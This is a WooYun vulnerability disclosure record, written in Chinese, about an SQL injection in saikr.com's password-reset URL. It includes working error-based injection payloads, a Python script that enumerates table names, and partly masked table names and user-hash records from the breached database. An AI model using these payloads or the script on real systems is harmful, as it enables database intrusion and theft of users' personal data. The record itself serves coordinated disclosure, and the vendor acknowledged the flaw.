当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0191524

漏洞标题:赛氪网注入漏洞数万比赛队伍+百万用户信息泄露

相关厂商:saikr.com

漏洞作者: Xman

提交时间:2016-04-01 21:11

修复时间:2016-05-19 03:40

公开时间:2016-05-19 03:40

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-04-01: 细节已通知厂商并且等待厂商处理中
2016-04-04: 厂商已经确认,细节仅向厂商公开
2016-04-14: 细节向核心白帽子及相关领域专家公开
2016-04-24: 细节向普通白帽子公开
2016-05-04: 细节向实习白帽子公开
2016-05-19: 细节向公众公开

简要描述:

只是想单纯的参加个数学建模比赛,手一抖报错了ε=ε=ε=(~ ̄▽ ̄)~

详细说明:

URL:http://www.saikr.com
注入位置在密码找回的操作中,首先选择找回密码

QQ截图20160401193854.png


填入邮箱获取验证码,然后跳转到如下界面

QQ截图20160401193959.png


这个界面对应的url就存在sql注入

QQ截图20160401144733.png


将其放到sqlmap中,也检测出注入

图片2.png


但总是出现timeout错误,于是开始手注
1、获取数据库名

http://www.saikr.com/user/changePasswd?cid=39506' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select database()),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1


Duplicate entry '::worldjingsai::0' for key 'group_key'


2、获取用户名

http://www.saikr.com/user/changePasswd
?cid=39506' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1


Duplicate entry '::10.252.122.71:58089::0' for key 'group_key'


3、获取当前数据库中的所有表

图片3.png


168个表,写程序跑

import requests
import re
url = "http://www.saikr.com/user/changePasswd?cid=39506"
payload1 = "' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select table_name from information_schema.tables where table_schema=database() limit "
payload2 = ",1),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1"
def hack():
for i in range(168):
while 1:
try:
r = requests.get(url+payload1+str(i)+payload2)
if "Duplicate" in r.text:
m = re.search(r"(?<=Duplicate entry '::).*(?=::)",r.text)
print m.group(0)
break
except:
pass
if __name__=="__main__":
hack()


mask 区域
*****tiv*****
*****omment*****
*****_comm*****
*****ve_d*****
*****ve_m*****
*****tic*****
*****e_com*****
*****e_con*****
*****at*****
*****ack*****
*****sh_*****
*****gori*****
*****k_co*****
*****ci*****
*****mme*****
*****any_*****
*****y_pro*****
*****nte*****
*****t_amo*****
*****t_arr*****
*****est_*****
*****est_*****
*****commen*****
*****t_con*****
*****t_con*****
*****t_det*****
*****t_fol*****
*****est_*****
*****t_mes*****
*****messag*****
*****regist*****
*****t_spe*****
*****specia*****
*****its_*****
*****its_*****
*****its_*****
*****s_rul*****
*****str*****
*****nam*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****ns_*****
*****vor*****
*****atu*****
*****fe*****
*****ommen*****
*****_com*****
*****ed_*****
*****edb*****
*****rum*****
*****oup*****
*****p_cl*****
*****p_in*****
*****p_us*****
*****_sch*****
*****nor*****
*****nor*****
*****cont*****
*****scho*****
*****age*****
*****x_da*****
*****dus*****
*****urn*****
*****commen*****
*****l_com*****
*****l_con*****
*****l_con*****
*****contes*****
*****nal_*****
*****l_key*****
*****l_sch*****
*****ywo*****
*****nks*****
*****lo*****
*****er_c*****
*****age_*****
*****le_s*****
*****ne*****
*****_cla*****
*****_com*****
*****ommen*****
*****_con*****
*****ws_*****
*****ce_c*****
*****der*****
*****gin*****
*****pa*****
*****nic_sc*****
*****sit*****
*****po*****
*****_com*****
*****st_*****
*****ovi*****
*****om_p*****
*****end_f*****
*****por*****
*****ro*****
*****_act*****
*****_mod*****
*****_num*****
*****tti*****
*****te_*****
*****_mess*****
*****ta*****
*****_rel*****
*****te*****
*****_col*****
*****rea*****
*****omment*****
*****_comm*****
*****_cont*****
*****ad_d*****
*****_keyw*****
*****rea*****
*****pic*****
*****ersi*****
*****ty_col*****
*****ty_con*****
*****us*****
*****_acc*****
*****pp_to*****
*****_col*****
*****test_c*****
*****test_f*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_fol*****
*****_gro*****
*****_hon*****
*****_inv*****
*****_log*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****_loo*****
*****sage_b*****
*****sage_i*****
*****_not*****
*****_pro*****
*****_sch*****
*****er_*****
*****_tag*****
*****_top*****
*****_vis*****
*****er_*****
*****ers*****
*****acces*****


4、获取数据
其中sb_user和sb_users表中共100多万的用户数据

QQ截图20160401184231.png


QQ截图20160401191156.png


获取其中前30条的数据,正则有点问题,密码不太对

mask 区域
*****9fd008e77e6d10e*****
*****t:96b7a36cedeef*****
*****78e0c32afc5531f*****
*****:d0615e735b0a2e*****
*****^瑜:200747dd5a*****
*****^山雨:14a48e4*****
*****e22480f3283c23b*****
*****光:c40991061d8*****
*****ry:c468caf13d4a*****
*****enjunxiang:2c0c*****
*****Ier:473c51455e6*****
*****aa43889c36ad7a8*****
*****59bc138ee3a8b8b*****
*****:hello:584fbdf9*****
*****:f8c6d6c19834b8*****
*****jingwen:e8ef7a0*****
*****ing_chinam:16fd*****
*****^度:55244f636c*****
*****:cf63523d5d3ab9*****
*****engyun:f83bd99f*****
*****0823006:38532d4*****
*****m:mathsmodeling*****
*****JosephLow:54ce9*****
*****^^州woaini:863*****
*****^^经年:c6221e*****
*****^^时代:52f8fb*****
*****^^:dd010fdc148d*****
*****lvisota:f591096*****
*****^:5efb6bf0c573f*****
*****^^达:eb57c524c*****


还3万多份比赛相关资料

http://www.saikr.com/user/changePasswd?cid=39506' union select (select 1 from (select count(*),concat(0x3a,0x3a,(select count(contest_id) from sb_contest),0x3a,0x3a,floor(rand()*2))name from information_schema.tables group by name)b),2,3,4,5 or '1'='1


图片4.png


5万多分比赛队伍相关信息

图片5.png


其他的就没再看了

漏洞证明:

QQ截图20160401144733.png


图片2.png

修复方案:

过滤

版权声明:转载请注明来源 Xman@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-04-04 03:33

厂商回复:

危害等级为高危,企业内部会尽快修复。

最新状态:

暂无


漏洞评价:

评价